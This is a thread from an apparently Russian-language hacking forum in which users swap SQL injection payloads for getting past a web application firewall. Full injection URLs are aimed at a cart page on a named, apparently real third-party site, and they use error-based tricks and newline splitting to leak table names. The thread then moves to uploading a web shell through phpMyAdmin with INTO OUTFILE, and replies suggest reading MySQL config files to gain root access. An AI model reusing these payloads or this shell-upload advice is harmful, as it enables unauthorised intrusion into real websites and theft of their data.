 |
|
15.12.2014, 02:12
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от Br@!ns
не получается обойти waf с фильтром на union select, selecr from. какие решениея есть? мб етсь возможность составить запрос, гду from будет впереди select, или как нибудь по-другому??
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+||@:=10+g roup+by+left(version(),@:=~@)having+min(0)
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+or+1+grou p+by+concat((select+table_name+%0A+from+informatio n_schema.tables+limit+1,1),floor(rand(0)*2))having +min(0)
разбиваем запрос переносом строки
|
|
|
15.12.2014, 02:13
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от Br@!ns
не получается обойти waf с фильтром на union select, selecr from. какие решениея есть? мб етсь возможность составить запрос, гду from будет впереди select, или как нибудь по-другому??
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+||@:=10+g roup+by+left(version(),@:=~@)having+min(0)
Код:
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029||@:=10+group+by+left((select%23+faza%0Atable_name+from+information_schema.tables+limit+1,1),@:=~@)having+min(0)
|
|
|
|
18.12.2014, 03:41
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
С нами:
9148120
Репутация:
97
|
|
Подскажите как можно залить шелл через phpmyadmin. Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
|
|
|
|
18.12.2014, 04:29
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от I love this game
I love this game said:
Подскажите как можно залить шелл через phpmyadmin.
Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
Никак, прав нету
|
|
|
|
18.12.2014, 04:30
|
|
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
С нами:
9597253
Репутация:
82
|
|
Сообщение от I love this game
I love this game said:
Подскажите как можно залить шелл через phpmyadmin.
Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
без рута не как. так как нету прав на запить. сам когда то мучался пару месяцев. ищи в базе возможно есть база цмс какойто через которую можно залить
|
|
|
|
18.12.2014, 06:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
|
|
|
|
18.12.2014, 09:47
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами:
8142806
Репутация:
324
|
|
Сообщение от Strilo4ka
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
в топике нет ни слова про заливку
только чтение
|
|
|
|
18.12.2014, 10:31
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от psihoz26
в топике нет ни слова про заливку
только чтение
А Вы головой подумайте.
|
|
|
|
18.12.2014, 16:01
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
С нами:
9148120
Репутация:
97
|
|
Сообщение от Strilo4ka
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
Спасибо, если я правильно понял, ты ты намекаешь, на то что можно прочитать любые файлы. Если так, то работает, но вряд ли поможет залить шелл. Или же все-таки можно при помощи LOAD DATA INFILE как-то напрямую залить шелл? Я просто не силен в MySQL.
|
|
|
|
18.12.2014, 16:24
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от I love this game
I love this game said:
Спасибо, если я правильно понял, ты ты намекаешь, на то что можно прочитать любые файлы. Если так, то работает, но вряд ли поможет залить шелл. Или же все-таки можно при помощи LOAD DATA INFILE как-то напрямую залить шелл? Я просто не силен в MySQL.
Прочитай конфиги мускула и зайди уже из под рута.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
